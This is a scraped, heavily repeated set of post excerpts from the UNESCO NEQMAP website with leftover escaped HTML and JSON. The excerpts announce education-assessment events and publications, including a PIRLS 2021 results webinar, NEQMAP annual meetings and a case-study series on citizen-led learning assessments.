The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021. Their results will be emphasized today amongst the selection of international results.<\/p>\n\n\n\nPresenter<\/strong>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/05\/Dirk-Hastedt_04-edited.webp\" alt=\"\" class=\"wp-image-5695\" width=\"441\"\/><\/figure>\n\n\n\nDr Dirk Hastedt<\/strong> is the Executive Director of the International Association for the Evaluation of Educational Achievement (IEA), leading its high-quality comparative research.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

